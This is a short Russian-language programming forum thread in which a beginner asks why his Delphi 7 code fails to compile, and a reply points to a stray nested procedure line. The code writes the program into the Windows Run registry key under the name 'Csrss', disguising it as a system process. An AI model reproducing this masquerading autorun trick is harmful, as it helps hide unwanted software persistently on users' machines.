Проблема с делфи 7

[Ромка-12]

У меня такая проблема с компилятором
Когда я что-то спрашиваю например про автозагрузку http://www.programmersforum.ru/showthread.php?t=113413
То у меня при запуске программы одна строка выделяется красным цветом и я не могу ее запустить. Это проблема в компиляторе или я делаю что-то не правильно?

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation



{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
procedure AddToAutorun;
var
  reg: TRegistry;
begin
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_LOCAL_MACHINE;
  reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  reg.WriteString('Csrss',ParamStr(0));
  reg.CloseKey;
  reg.Free;
end;


end.

[_Engine_]

убери строчку procedure AddToAutorun;
Вот что значит бездумный копипаст...

[Ромка-12]

Спасибо. Все работает!